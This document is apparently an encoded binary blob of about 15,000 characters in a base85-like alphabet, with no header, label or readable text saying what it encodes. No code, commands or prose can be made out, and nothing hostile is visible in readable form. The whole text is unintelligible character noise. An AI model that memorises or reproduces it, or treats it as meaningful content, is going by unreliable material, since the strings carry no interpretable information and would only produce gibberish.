znO&;4Ul&*AGorDGqxxcXWZZ{g*)B#@|EHQ)p7J**gjxE8u|F(_u3vR`-nfUD!TNNb zYEkH!q}20VYiElw4uh3IXTU89S?G5WSs#%8Z?9MqRBwm=g%{j_=;j)kpSPZh;X3UAhF1EpYRK_a?_K;0iZbG-)YIAYR3Cj?ju zjEl>I$8Yp9hmvGy$OZi@n-#joD)t_)W>Z|f4g6y9#nehwj;La-bNH7q(SdKD*kY!w zQEt4@Fi)AJ$0X|X`K=KlRMRx#7;k?_RtEI6T4Pce_e=FJwd)Wv0Q438{QWCnps_=GHQih4+rvnohhapKhtpjCE2Y7oYx1gJ21n9N z!m(*4T@vpJgKvDYX(sdLqi&<{ehobz#cdr5IBioBbRG(^rF}~FBTw#&WWj`&Mg&`l zz^a`%%Z4ZQr3JUtaa5uei{N_}93oX<%;525rb3LF9Nl~TMDE+@bjj3i=(^Oe_*0mK zRml5#xFUVV%_~bvK_&flPcB6G;K|OH@6%~(ZC-qr5>NOqOT5gjsl9?Dad;87bZf_Q zo%zibhkiZguQxOoxC-l>IeIlFZ(pj!6g>7c%xnz$Q1=MfsEe;>QZ!j&oHKa*V3bNp zY3$e3$TOwv3X5NIT^0IQSWi0k2B{Q`PER>4G~fmrrx49raavRV^JZ>kzf5m~?H7zI z;R7}`arn^^itdY&7KvO#f=AsU;OyBNS8q4Ws^4#&*`W3|!0!RbW_F&IXxXS3i)Zew zLw$L1U)@w@NX?w>2uU-#K5zc1^CQp^B>Jt}53=^WpR$u1zf8K0`3p(#+EH&ot@2D_ z_MjXq4|NzuKiEhJo|3w8zm#!0)=u$}A3D#=l0#!-k-xBU#D>n_)J6XOc)g1B%;xbX zq{UQ$;9_Ui7_*xyzjwc-di76Hi*;V40=7r1*I+M_-?8;blKcJJYe}WN1GxTq;#C3p|{@Sc4Kvl9Qwis4%(~=5J>d~{qm<) zeKVjjWwN@qx+H*SFmV02+b0$vk7sork~%i!Gi^?%5M-@ieJ_2%g9Z%(DqX_nsZA)% zR*2I%ds188$p5+azgv8+WRp1XUqg=58d`1(pOm^#8&ve(+6*%pHL2ltchz-zB|h;{Jl<{SG2zGr;j z5VxwfE(Jkno?}AX6wMz%k0Et58{Yl3VlPdP-9mnD(guHlkK%wl(}M3Xdh((1j-OMj zb!N~)$o=)(TtTC0q61NSEDLL+o;wT#sS$P}qZiFn`H^Kz^yWVqqkRitobI99P^vGt zHcMPLqcr5$Mh$*ZA>dT$k)n38`#i0FH@JjkXv}_ME6m~Rw!M)>#~p{4N%Fy-Oih33 z^AoQYgDf&x5bZ~}llwPQnQLbtuhgprB-2+A4}N$8B~DfEsp!04g|GN}frTl>HFZR6 zZ$ExVS%H_irBj!ag>U1@NsStkY)Dt~|FHL#QE_e2nkX*80}1ZIf@|R#Ab1E6B)Ge~ zyGsb}79_zXxEB=e!KHB5!o4d;?mhkP9pjDj`t^?ps9n+n9}# zj9UI;$qgk_a>Vgja{9&3-ck}$u*oz0y^lvd4$+rE@7_-KsQ;A|Rouod7j31y7V@1z zO@&IdSl#C-FB5qs>~xaz)Oz=9whpJHp~s^046(@z;VgsO>A~~#K8(qZafxk7M16xa z&s0n8uC)Og1hY3IPjWljS$CuSSP8-^Iq@8DgwqQMD~oqC8WyN4b_i!LgLsw$@Aom5 zmR7nX&WS6k=ge5d(hZvOUFK7sCKxaa)r4-*laL$W&9h_eh{`eT8b4{xX#7?MXL4=N zw+c*h%j07bzF}Cflb{b{3j%>*bGR^t=F#{yQ;*ao0+E7LaYAvU(PkVFQtHK56`m=- z^#Qo|OHl$&7^C5-zWx{1ytUy_OWrAeqYK?-`%duY2oJ3bnxcs^7Irb3)N`!7^m#PR zv-qCM0z4ry$pLq?%j8qy&+RJb6@e+VZ_O;YNv_x@GV>(&#vQFR|1kgaAPaIkiKBJ6 zdv_K?y|c|@6s3yn&}Mu0%{idO>Ahl9B}Ek&Ai6mx73I<68C3V+_<406GeSbw7|r;%In5?Pj5ift*2Ps)2uaN-$S5$nob|RmTlVNQ9Se?j6lz^JiOMEPx(s>MqX-3vC*VcIs@#)l8vu<@58yLmiD z-b9j)7gYRF1|G)e$ygc)FNRK2$bBmb6o0KgKkYo{f_#_2z;1|NCsv0Z#!E0+_w$1d zYa@9+BNYOvyA{vz+S7KCk?~7Q^<qIZm1f&EPsd|7QByD{Z58$}MN|n=B_Pk2$1S zlt_}SZy5+UnuAti`ZqXibfM7(Fna=BfC)(0q+1rrMHTh!H3PgS!hHvY<9tBkd1Ky0 zes+I(-Ubf&a<2cmb;ZkKm-RNA0d(#+ocTh3Q(EF!6@}mI60cRVefW%Ut1az#?JLmE(_`r_6A>&fQEIm)T- zOQC!E-lx>AKXOO9w4}Ord<@$z8EPTHCo33r>a3IFXcM{JMV#5VeRkI_S4qlekn+Bm z-NWR968Y}i2!W%2tJ~YuN9u~@mt#1|KqsCby=iV$Z9hobIR{sZr#4B2H{H)V)cl|e z-l_M{1urL4hn5GE1{PZ7ns=%X{q_Rlo}RbuH9noas|~+hu1D=(2!hW`!cOmkpQynB z%tN?>xaS8|O+5$3uz}1a;N@UX)LNrv?@qLt+> ziwj+$?H&Up1HYYs*>1c1r{eKpS%7NImmvcQ|2lT5vB&`@TW?HZYi7pphLcRAx%ek) zCPvvxCsYluX#Wy=kCQGO^=>)z1*(kLNEvlBfZ=hhOcF{1;6qD?S2T9QGvo2t>&UWGPb;J^f-pgW~QlE_;*!n7C! zg}AL35i2J5PjIoL6#~j`URY=18)IH#gT|9)?raNq71)h`*3Qc!(V*>xa< zjk^QEF2!_y`(RpgF6XCGyz53gnQ8rJMJ1FChBi0TXVH^0x_f(z?EGzxH(SL}%3QQ} zA5PR+^o2u1-M8gSnZB`dUT!QqFpCAU^rM?{2g{`m*}Lt{mzF_QR}RF#jD$y#;qy~T z@~;gwgx@8debq=?d7^&U16s#zecDpLxmCZYN?Zr?c)okih5lVuo?3+nET$M1`Fy1k zuhI#U5G*u0$JiuX=6hx@HdyzJrjT+?9;oK?|JXa0c5p+^0iUiW6Ry;j5x8kUs9msI zEJ^p4+=CURl^&sFeTc!tw1hCzApg1u-rR^FtDNStj#_AcQofuO*wcQd751=LTK_-5nmA^7~thRoDt zlP3jhjr9$5y`FVVM&b|yjM99a07zlC@bx5VqY!A60B{U#wM$&C^KaiIet04j+-=aD zoN<~wCOJ@(Gg|t>A2%T~%PfDkVM2eSPM?hl$jGQxni0(Y{z`X|IH}WZ-9YTr0bT~=bY!o<5sBiAwxcMFa z`Mb~8pr%W#+-#+4K59tq8?Q|QAqOmK=`f2#5=UXg9H+1nldK*tp z?VjPi8W=cuVB&Te9OZ!$mG8_hWT01;V z3KCtgo+Mz2xDA6L8rV3~Wn{ahiv1*NC^0f@%AD_}{va9uS?v%1`Z_q8RcwcW@Yzt_ zUZTIb-Sd+WVw$m#$qY1rIYnHKqU>T&zXR&U3FSsx_!CtF*@6K?Ihu71?R-%gU#^rg zn4%;+%EHM`c3$h-+RC157#4JSfew8Y77}B^H_ks@B4EC4#@GHD=Jvt01HC#>j(1xm zJ;!7!woC)ZgTzeN2r~H1C0A)7ni9F+%gSI$*ZwFun2^goJYU|u?%V7p=}VVCoabA` z|4!(72w<-vR-e{(zriUy4r`tK+({n1pqlOh)=O_2EJATK69knUmPa`&Tn*WV_7G(g z*(tULHe@H2!7gJ&n#URpe7Z3E$4ESSZ2b4p{|!W?tAYw@pF2nbh^8&r$2K zQu;&3dlkShhN0yTl=_2xcr#hyz|=-AQV+-YMUt66T;zIbG00v6I{VCm{K^vOO}9lT z*2}?;52H2TNWWGawS|7jy?1243xit5BlhS#JaF&cXA9$u-w^t&pM2{cVB%=}TYTM8 zYf$1h)q4eUohM(0+P#;*ZKI~juEFqdRI8imV&PGTv{=h7AWP|ug=bFe!wWbBSc%Y{ z48NC_tXE>N*LrTzkF%g@{KlSgvfeT}dh&`(`P|v<+X4L?;sqD_lu7~Q?1?*E$0ORM zr30iT<44Y1lxb+|nozHj6V4yub9z6yL%73gXk$vUsQRY!D9Fn#@cKgN#0;S|TQNqc8`!wB>B zN;#0YFhj#6nlefdZpO}w&y6+IESl>+%!{z3i?<-bqu0cqV>R4uu|4$h5v?$;g@*2E zG#?O7;D&6nCc70W2g#bT?ntSErY zd2nK&##e15XNQ>!uOn}S#5EfL)^**$7yxoK5)Jg*XgQ-8cu=6U8bfWZmC9gb?Lk%f z3vShp;{%)2bk$Z^&Ou`w30zw%&`wEXehM@OMifiVZY#yw+1^0u{0 zpn=ggzDr5wV2Pz+F92@L>b7_)U5RNk0E6}W*WXfA+7rkL10x2?VPTGUY}rH!z;ZEmShLAqG?`EI+L8smLMf|3eh4~;KPTCSFv^XRA` z`PA!@-e%;^cH!~alSnvg;*pI#elgbbl}ukWs<2(rlG}=xeNWQqWJUMR;$_!-oNrb7-%!MtJg2pCY()NE>ZTfX zQ_OTj9bxmAjx;De;!sc6qO!1WeQRFW^h$7QHH3X`6Maqy{;U>=+ZboRB57PM*=L5q zO+0Jw?ubKZ5*B@?PPYpq=3>d2>HtK1QcjDaWA4kn3It757|H!S=#;gbY45)6#h8P? z*&hE6Le}^wFIC0?`XZ@IT;*%Ug*|CoS-q@Vay0Y)%Y6B~2#jTMPM)@#{TH#pv0Y;_ zaCAb5*HV;VidyJgE!sHei!XYz-_a>lN7plH(OyL>LdWyk7`E|5Xj{i4!gten4o3@=F1BRQj>EXlN2Z~(UvsdY*v{vg zimyIr^f@`faMM8y1ZjPxk%X@UzNUtEk(D9Z?9M!pRa71kYf-jK zD3(=Eu`8rlQM_uLl9*dXZD950N31eIE3VHvLW|%6j+Yvw=xFLl>LZ(VZ&3df|t`ib3fXj(3)gKf# z*X~?7`r<*WJZV+tJ<8T?-k&5gB%c~ zl)iI%uJ^oW{*Lqw@unJ)I9s&d@n*~c0>7SC=yD8SNb7RrC|-#%RpkenM~<$}lVP-h zAk9;I%H-FiDXp8tVynFrqOVG6`I1QRivD1vsC2=fN2<~8iKT%M-?q4VSw-e-y_1@UboKxTYQl;c0>c12uuqY`x1nR#BM z7CDY}L5H$K0#$jK@A^42 zByN$B$o}{-1!5*({q8j?smThj=R5F6!Ti3XhV;zdk06CgSWX0hmInzt30ytl>tSI$ zb@J{D0$LRdqGOk#VT-r!<0Z0~L?)SG3_+=P(aAU$;}nY^CnGlDSOM}Cf}p$SjcdD8 z<{o&3hHf^zy*o@M#`t@RqIeXQGX@dag;-VB-L(PU0}p3gMU(dQ#dBS{UgnMV33xiI z<*Jl;ZFFL|B5&jEs58wXel$i_=3tp$%+T11OvFS4^+^wEa7cSfSP_~#mU#Q6?)8(l zg9*C#;pj`xUjq0=*ZaH#2Z=S!a{pmHE1=dhaF;mtD0$Rv{A6dEokWjE+>!W@@gomt zoJk?}y>G=MZW`N^<7409^96C3YpVHE3aysrxFfw^`aJEvA8lpy@vbP?8sIGdp67|L zE2%_5`N>$J3)SV;91olAuJK-Li5_o-RRU+lX9;NQ#r5`$x8ixNLj4i^)1a=W-9wg+*$Vz_DzB5@lB< zJL(yIA&a*RS$!9GK8eLdM8A|S8XPMclsZN*9Y#&NoZM?g6nj91Il*b7s+#sPv~m7} z_>#Lpx8fDMbCn@F|NGWjasW&b_^5jk(50-ej&;-&A$ft_p4+J`jn!N{ym#H`a!jaf zn~zhte?l}q^+^Moty0m_i~uguO{n5@*ji&9by7%BO!k$Y7G`r(Ui|R}?Y$t_)5Z0D(Q74tc5|I!4XMrS;v?M)T*p`5!~Nz*XZ9qhLJM^4+8A~ZBxqlDRF*YSIO zw)5(^tSKw{saJOQ<{_|VyUGtME+j)cl=wv3gbr-zq+Ko>&1~@GZl99)Nogt#WUIwl z_gWcMfWc5xS3AP#M1_3EvY~i&lx(}{N#>HjGq40Jc<(OSZM3m|+~rHNeu{9U;&6$^ zaU3$dC6Tf7rS;d~`CuOg(ZCMo4%be+6A_eFn9`88Z7_&ZB&=f`JVRTR<>>RRE;vkH zErtJD?{wViVu4-Ac&NYG?1*?TmblIaM%6xBEhe3QgZ6ZC)N8~_d9Hb_R(xh)i3E7q zoDefBe-BbA3L3|-*-F?Mi}q(A*NM@lo}&e=xodz-n9)<=WiXuK9Lhq9{06fuPDDw|sL^%J-=(xnKnTxXD#rpRLcAN1R_|NPS86q*?yV~F9E`qZ z8;-j{E5m<1U{b0$b~f6idvp=rzE*y1h*yQ&d{c~*H?iC5kRY&GPD8wlq0Yn8ttqP= z{~&%>lUDc}4KjT$1~=A8G%KQ4gaVZ0ckFF8ab~4LPgsY9M-zFVM)4qWqLy?w<0zCE z*H|HM41PdK&GxEgZRR}9^=(`zKGZJu>By0<1omz*VeytVKIi#zY#lBBfJTL(o~m<% za-g@He%!ciMkKmRvujvv-KeIt)>{GR(sN9RWtq<# zW;Z(~iBdS;b}wX$%&q2EaIO?oD+iexfw9zdW3g19$Rbr6^yaE8u*EMAd0=w>pzJDPZP zc6!1kY{Mat+4H5f@Nr5<*ELFXpM+e1R6{haF^EH%o2i2z6oe^n^d=jot!(1--pOpO zX(;T{Pj3u#<>{;%P*hmHL&rWj(M+_5(rFU!dAE#7X8ck1tUE@poHw*R_o#omlP|IC zs8FxC?Yf@5;yS?5017S9K(c)$7KEsgktS@LJRCRk&233$gslU3R501!QRo7rWRmqeaZ#yQdZn_MEPb#HV!w!reJO@vVNG_%&u5Yr#z39=q;!XI9y3Gx#iAlE z72HUMT@<=y8)_=cY~pP(XgEB2rjI^GkOhRb{op6uIDVnZ$=qN|z#ySO1>aWO*gL(* zE3sI2Pj2xXuDsB^CTfr}yoAHHWh5KAhyn2JPY*msOS>ZWV)n3;vQeOHt%JDc{)T}mJb|KUsXC_b z$X%TeKWeRX_mA$6TGj;xuA>u`R{U@bj-PGI=Lj1upD6Q+@F(%_bqV*;4jV5f4k8Bh z&jpsX_cYy5494H;V($|b35nLZ?ZGkG9CfxX{Hn$*|6`dtROfrprusD8PT&@;_P)?w zGuS2CKUWiOU3UfcSZI-%Jx!Rn{zeo=xC*N8 zD*3j`BGVGf4&I$CKw4)(9-vF9*IzbQbvVcvRA~#IIEcKvW<63wAJWr`5u)oTbh$Yj z>%e&ZVlm~kL*xAX^n6^BDR)L%21z|xkiHF z@w+Azm0Sr~sa>wsn<;k8HV7R`t0}^8L|znx%(0vGU0SB*GfHW?Ys~$ppByA9R`1$h z$vRd2tR{)p$$IN}-kfM+V=81juE3tCvRmD!_APxy)ZK39@fRQNBx*pt2QzD4O-J6_ zdyMF2hhgdE+)K$AyPJ`BTCudyqvB<`A8h`J*Ypx7f<&|vWxUFYUd?-n^TgdT70kD{ z5OS>!O)xBJ(e~V)S!jSgOZOObn>}x_6|L?lMLyzFLdw*6x4M7ztt;BU`k1C`=?!8s zDvIu^OGX^%gW^X59 zda3yX{fvjZIX;a+sXdiL;m(n^qgho)hoq98+Xve=^&UmbI37wJ4hb&s<_(AW=EN+D zm}_?dX}8;v(8EwLEb%n3@O7o#e=rXlJpzl)*KHjvQK7D1&P!wwhb_M8omLh!88<>gtzALT_sYf8HLN+=BrP?W#DN7 zzcRWn0C`x5%@K?{kI^w|p9roEqHZ)Rg1e;}jc?c^N#jJnaAMo?oonz-AGIUVCWJ?d z15FRWO1&*WBm}wuZE9@$<79}G#_SWW8gcL_N#}{io!VqMiubm=_EB&4?=G-+s)hy8 zu~I9njrtw8wCki97WxY_z@pDP3minyU}pfTO3h|j%ownbx%Z0@C_O_HD^t!4*dw4XGhJzU@?OUKTE&L79vV?}hUc{quydWtM}xU4R!?ufPNOyc z9N>}iU&M-l>EjzH(aY+dH_57gHMrK^i8PPjC{dic)5EY0(-#Bv^0B^=Xr3T$v5T)% zkWpgI3fov+8EvRkHCH2Pjjt3}=qIsS%>K`j&2g*P%n^>kod~Le@~<+}Z>Ch5G4CA$H(#Dug61BJg^AdW!HA z|Gw;Rd5J_eZf|1UicsrR%T{5Lyo{$zhA|BLi!=N?7(i$eZ=WmJ-=%?xoXdF;YW_k= z`@*B438}a5B+=9sofdTYs?D_&72KZjZrosB0~7G1lxxZTOLgkUY+(2;R_H!j%g zm3JRW;BNKswx(qTF-Q?OhUN-~h&@6TmwfqQXL_^T%k@{8jGX28qY|cmE~6gd@K>7x zLhkl)Qmtm8IIMjg&(<#;G~#*!lHu(in(RQoL>&40eOdyXW;Xuhl+6;XkQ&)_WS@ho zhHqvqXYvT0V9<%5L1y5t1#O&mkx4O^GG16jg$@ge+OwE_JOUoJ>$VqkX52u|Zk3@` z!D-<(OTclSCzL9NxlDrBM<-CTITD=gaBUTZ|NbMs0c6;&Y_RfsTyM_m+a8YAUpLX3 zAoThDAg-gFiYO&ZQ^{z&I-7SdAS-~AQhOgCw2>3=+Wj?8tdbDlzYBnVX?~% zFzH0k<>iYp(SVucW`b@eW8e3yZ_+wHCaU=1menL)@u7!r3_(7b*5HL(x6*Z-dt5xq zr&Ph7(0AL4<)-i^bdqVKS;IVI!x7=F#bDl{X4tyVwi`f+d>22Atx{rhU!Z@@EnMOX zRFhr_QB6#k8P_h&oyJnz;wJLy)p!+Ll$!yd)lN*OEK~-E{%ItM$iuyy3Rf8U@RhH|0 zIK-P|>u7M1X3PIWisJn-`qdaUCZTZ>)Ey%b>Xei+w}Ff5y~Y{aI7Yr`v|0^oxSoEY zYDYYNw*qJ9PQ>`yz|s^p*>tZD=)TKv>W4Ez zs)OoT+|kn7DfIcmHFd2$yVL|t2G0a!;&^1fEaRaqrD!E91r>V(T1(JvvN>S@+&g~X zN@&{5E&~3muydK$y*%fl8)`<_?^M6-uZ3<^f&{>TD8Yqm?`KT%_h{ z1bKP+?oBTKv}V38iIQI>>!{4BJ`I?Sn@Gc7Kbw^sYJYaFt!#?fYVW!o@HqLBqlu*r zRbwKLpf=J;mjhc=WeV}j^_R9M%U5`b}eYFRE zraBXsffwjQIDXJLCAav3ooD4u6wYUrRWt^r97I?Nz=0X_qvj1+p!~?$xF)&OO7SOG z2k@-+v~`!ut(9AQoRJ>cHK;h{lm1?eq5U+28*w|yA<$;Go^Cne=uPjf)a?PyD4<=8 zcoq+2KW1&Q#r%aS7YR9MFdFAj|4&7oPxA19#r-4kDo{2m!cJu9Dm(bD#&qfc*s6u#!{|#m75{m8ghPCI_gd0#T#8< z+fvne$n1Kf@5~X?0mpQ5h#e-7rCl}3T4}qMH{Jaxqb=|*2x5_WJ*JRW(^DD;Us4sT z3`rXSJQ&Vhm{_YW`)DkY4^b-OPI2LGR1yM&tA3BX3B>1?^Wxuuo& z4MV7di;IhYnl&^uEVM15qrpv`<~%>rp?KT=T-ED%KrgQ6j`W?&UI-?CJ^*yl+O-5i zbKfdVQ+tY7H+^HrS6rtLV7ZvKqurh{a7wfN`W4MkPS$VrN@6Q{PW!~Mjp_6wlW)gx5G2gPpHBIsBwnn;C02JR4Y#nz z%ERHcgis|t$$EF6nf8r-X53qHixlUN!ydN9TjSw9P1W^_hvyVFZ!y83h8cEOm<=#O z_TUPak_qtx-?G-hI>Y7M8|!vGIE>jn8rlWQI?k!loH!+wb13OxdmXH$%z0i{dUQ56kMi zw>PIwgc@{DmWEP*k9sZI*VJPkN>o=%cLP90=4Akf?FT_Lm7%IyQ}^hioC!L1K_=6$ z|4>YF7B(G}VQ>t*!wH^;R4&DQxwL8(5ycgz;L{F9jlw5s6h7?rLL zZicVut>*nWkm`>>OE=b6a@=q_HDCnYxxIfruaa5n@S>UB3G);><Ro4c1DLW%oWhhpVqr3c z9t4pAq@WoMQXMZURhkYFC;HdrHzK@${mAZwb#tGDZn2?M_b|Td^##qn2O0T($w`%7 z#HR`TFnp116oKn(jOUt4G9Go^lEv(9l&$PAe9-P4j0t0-s8X9@S8_N(AH4s$&&v7B zPd|GcyYkd!@)vHKTm2*Bezc)m5_*!rE`5VDw^Jbb3gWOJ2~eryK|og;?PINaREI>| z?g?JpZl7P6-jmOWuYfhyhP?mOs*krRVf`l^0C}7JU>|`ZAHOKsK}b1kD09$jM(g{* zPECgK65Ors?&9R|CQ9d2I}&n?ps(xwKfGyC-cjf)qAw@8Sw2K*hOh*?X%57Vb%JJo zoFmMV)iCCp6Sj^zE>YC!(7yZ@?M#`Gy>i$ws;NXBI_v245&4n+*1g*ex)^y)mXvL+ z=#Xz@(=fjyc95m|;~f5=N1)eXiRY=XC`#i%JR}ds>10Mft@+aj5vtkpdo*65j(Q@> zueei+tqAj}#3DdX6orEV_922qSAvR{{T$uCn6x|KuDh3>FQU$8e{>Bf^Lckk7Xm(Y z(~ARC$#6#m6b2YXwN3Pzch&uza?&l~=t*%}@p$VI~p!wk|P}9@` zLMs>(UCi2uJSXEB52IklO+O8Fe%CMWvED)1S!6rEM2eyX8dMx=oPcj;YeEq?V2?&1 zo+a47f$mROqPEojmL1ka+x@FJDw+-08hRD4jk7&5v^}Ys*@e}hdOTRtFiioPSA}nj zwo@SicxJBCP7H#QUl-M1$F`l$V8q!kk1NaQTcGdfLH&SA0eh076~KF1_(=?zcF5{H zw*7eCSIBEOX7mLYULk(O9hPHB5}%XCiKW)ipoGsF%W5+^P%F>MnRXK9eNepju-;f8 zP@32L{mN&@6dk(Z$6!D*tec)IhR4(AQ)ucqdxR-ZBb{b6adcO;u-|Tnd-~I?NSdN- zES)PeQ>fZ4bPcB6toRid0=9!hG;up~Z3zP38GVHxS`d%4N&soq{$adln|A?;A{C=* zBz>~yRZZ3J3c9|N6GDgkg%ocY$BJqUR?Y!WuW+``Gv_6{6sIz9H zICp&|e4@U)KsEtbnhlp1ir6pmwi>(pUJP!Rew^8=RJPN{Q+Y)%MQ4P%wsNz8#MGx{ zWYg6Q6Bk90?1l`4{OF!hd~>0&WscRx40<=0y6c{eiYb!SxA5hNO>#H5hUgB`?j2s- zoFDTf5z#LvrceJHtR;}TM*y0Kkwsk)_SI#yRDIiTA9Zv_FWSa8Fd2A#g&c#*=B)&! zvbv}n?A9i&*+Fw7oQY3}V)^u)30=H0Tj{#`v0h#80ede!JDA6zwd2tG09_~P&+)j3 zexO6u?Z3Y!fC#5r@ciCz(2Uda$#llmKrOABr{c?Kp`sZSMQx2S$+Ivh2p}LWB|rq5 zWQ8?F;BJy!|G?M+j(sq~53nZz_c{ocBscbWffx5{*+QE8wO%y8Z;Ni$7?Hsr!k1$c zXn=8YQlZRHE>T}Lps$Luau5GXV;T-g^%*||Uh65VHxdf#h<$c<;6~Z~>2J`STN5p1 z9^Pk%DWM2W#nI($p3#jM10vPd(H0$9gQ4G|2s1b_HL!rv2UO8eHh}Lu^a;c(Nzl&i z%6xzYewt1G8DVQy1xR@Ct<0T=khf*SA(Cm9dGbw?X^tjI3`I=49WX_G1hpf8@tf5- zHerIWpK+ff0|d_%9FSZa)F;pj?`J`hbz^1#97i{pqu2LflKMr-LqB0VTGxmL8(+BB z;EHZIT%^gN;^o$`C`UxgIXXw&s8a(@Hi8QE*wwlPFqO20E8$ATu;zV!id(HO^0Ztc zgTw;4$fD-v+CJ&j7D zQ`GcaxSesqf8-EU(M6M7t|U49+x76T2yvl)CETvr;|Wc-+~Rh6_@aGX%YnLxQfxB) z0N|6yg;r{(uK!U-iaY%02ldw8$4{Crx?3r_c`LS_W5YyhE6Nw!7EZsimBXjT0wk0Td4>bhB_&C1at{$XXDy# zU!eLe&GpzsAs|GO43iix^a+|{==ha!MUa1~u(h#rW@gaVR@JTWe$!96lH9BhwX8mL zaT^CzOkpE{1zx(wX8+OyFU!-?vwQCiP|0vF^2b>D>%itC3zzx&`p3HG$OCt*a%uX} za$tQ?-H$7H%MA{ju?2$f2elI4So|YyUFNi3;29|b)SQTRx%s10^>jiC0S^ns4N~3# z=VuE*H)<-J;)HoVH>k#2YYv=!-&r#nL@}?cHSiGteU(4B0J#>+`~0d=jM`ueVw~&`-3a6G zJ@veUr8^W1+JP02!N#@8gIm{wf%B6+3?ggrdjM8S4eev7VF+nHwbAGDlxDKzk;eF; zIG2k>QQbV2!1GNzX2Ph8Pwy9hQO6QnT*n0LhI)2w+VcT8Tx>{b z`II@f@ql#yO$5=S=V|3?JLQIzTg{>I2k&b@z-W-q1A7>+2Y*}x4^^`P6NTPjUro`t zy29SZ+K`sYZfWONdSZm0DnVlH`&^=EpEeBUUugD+aubUEzl!;-Sb5vq>x4Kz#xh-5 z+?4Bm@I;$utHb7O=;iuHUfBtn_=a7^r zG}hz#hP-# z@Av#isT3&2{{B#zfcfzS?{_!o2jhHkFbZZ=kEH!)v78hXp<81x&BhFWUkx{Cs{5;V z1Jnckcfvi~jKmmi+8hyzr;Dzv6YYAcyc4a|2mkq+ze*KFg0@s2DfflUA6*RPrV#?9 z8XXJG|5-ahcsOY45%gTSK%GF^jil*}kE&k1dZuINsEuThtogKfd{& z-u7ofHScok8WD-nlxh#QUmcR`hzks%ht&W1{>~^VQBVxNj!$>%-v$1jXcA%m1j$%B zNhlJ3bwMR;fH!KrE1cgK)#T5StHYu1Ug)z)t--5taDnSf!Afo@ zxYvLVe1mPF@qcvUe->aIDC*#eSPvd`wP+ZxdVtO=PFSt*KV^gJw`@?oV(9&+4C%ke z?oUb9cay+SSP4#Oqjq;Ed5IK)@pohO-#{xcc+4}r-4X&N?!}iGGbH{|S|wIMH@f$d zrpb`by(hv}2JOA=FY-u(+mhL;M5X@}&%cE=KpwlFQfg#*`%g!$MQ%i_lB`;eTL2{h_O3MFE75~>M z_}?h0|1zyR<)l`h;bCB&pU+Pu3jfZ)cew0j%{1?`daVbTxBi+^In>wYeGbvJ;Bez0 zvH;bX&5*?yTlF1~%2dyCP|QV9)EiJpJ!!y4m>@(1>U27;CbZV6B_-#Z+R7@0Fhf=si>&n zciC4_D^|?9oBlp`ad9ER*V|E1!7?@p1=EGVw}CKlC=~wx`s0IM071akB_gd00=6g& z?7#iUokv7rvb$n__w@heX_x?hG;9rBGySj9|GsGG6X`n8W5P|r;+t6iy5hgfE2)K^ z!RLZR>+x?}{YPd0Z`1#e9(7@?0dVx5mLO9H?MY(Jw?GE1EkME}B+t0`qOOM~0i5#7 zSF1fmGli9GlkxqI`DDg1U+ipg{q3uW{ms!xo5q>j8fI$iB@fNGDi^`hjz{+z3Eka; zJJqv%T87uhnd zf2n>{sYUfYxIK4#bulb`<%7}}l^XLupF>XUo}e7 zcWj5Q2S;$GIw5oigc`bq35?ICqOPUhk_}x(bjwH;b&o;yCTc(1bkNwQTp#=Oodet} zy|;FrVzoQ)d|uDD(D^->RSuj?1$ZEu%SZl8MTwAHixrIWi>l;Sbj9~112S-Qy3*@c zc+kgH;w|`w6;{Niow>vNzz&+^dF-S9ZRC}Pu$z`p@~oj3xeXoM5d77wtP~y6R+8RL z)rBgDlEnftr0@Co9&%rJg8r|y_8Ro0?XY|8Q$6MY(4H6M%2Vnqvv7LyH*^;)S*4ce zux@8$$inlr+O0EfF51?N6=W2bJnqf zLL3YfrswrvwGiWst9)H8a|a5_fn&v!=B?{DKaCVM*?hdNS|EFM*A3u9Pi@~L%gTPB zVS2mL5svV@lcwiOmix!LvTu`A70TI7h7L029W-Mi8g4N>4Q{lLqMvF!?4ER-G?2?J zJ{KDs=ZcoL-gJYLGNhEY2%8>PY&?vP16r$75~}5vA&2*1IzS)O+Rl*Oppjn_b|ZrC zzcx!t(Ee%RCb&XP4FEN)+|~$o5MxtRIEgHKN(w)>=X@c~Y7gIj^tfHh5J_acOQy&l za=*ZZXcS+E4G(5Onwl0N`EGR&rn9&ZfjB5b{dlOs??UbNXQrL=nbk7r7-KW{jiweJO|U_z0UH=-s+J~P+3B-tW9 zQjELbd?VxYCh^H&j(Z=O@BP^m!>x$0@6S|x=lGiTfll+lKR&6 zQl=UIbxN@S*{p|cqjW@B+uK<)xNW}aPRA)Wr)MumC*S#u=eHd`1{WT;g$C;Sw-L$z zgT43uYO-zGMsEc{R79nT2#5$MRp}ioh%}K7p-Bl4AoN~D1yOnnHGtAYO6UPX0)q73 zLJ5Q#dJQFnK=^V$&%4)NYyY%;fByb}YpwH~Yv!0^$~j}Td}xrjWoEmaHp4&2XF(ht z==2(Iz3g6o|GX#U`1|R1@EgK-lk&+0;)=55GAD1E>1+zWMbI2u2kT$ojE{0N%IfZp zi(}Mx7&;*iaRGCOO79q?ii8#7-=8_j+R6W#VjS*UjF3) z5fqZ<&Dzd+MUU0~w5y*VXQ3pwX0#2mBxYz?5_incQcqhe%*S_7oPAJ>k{8+RrxB+o zHck5(O{xbAqSO#p-tIsHII`zK{{ZvlQ;M4|F#RTew-f4VKyEmeT-u)vTw27(&%bo| z*1K7ZUm|R$pv3>qRa1NkHQfy(&Ihf&%s)j2k0~$!3tfc9OXZnI%sh<+95^>Ww?AS38k>#PBng;=H}nRRY$-URr;>em!QELh`?;RdepRky7X}YU-3uYZuqA3HhgwU7tP_g1vU8NR z+5C?V>(fjiZrR-UOX}WVLD7d5-$jEaN66Df0*Y?{4D9AR6IIDh(WXcE3y#YgYzOLQ zna?U^jYE#I9j59l9a8unUu>sHddg-yMBAlbl(k9aR06K%I8RSJ>CY1MRaPj{^VTO9 zI$gp%R;Xt@ngFf3x*8=s`f>b` z27jI)7}sPFip#(BlB08=2WWBrz45l!iJS&&$b3lLIo=TY49#!WJGolXXo}j4ROYo7 z-maM*!*(}mf^jal!v9iD?&(pE`8F$(oXd6!Z8*J@BTAkimWtERbJhE+lq{!lm z8*z9b5TGP8_f;SzjEkJF5E4)r9La0@mtH}}hXPvJ2u+h7X0cCA+6gD!Gby+=S`f;( zubNJXa8rM`hH{#WoDTeziT=~P^Ubwv2rFMA_OR|e=5zrLTr%4+LUI4Cm4E-2ci{mC zTzzvp-(KP~@ZBLNWvAUP?P3{eQlU7Of{5I8W}_@)KV9;fiHZNhkXU7cS@HnTV~Ef0 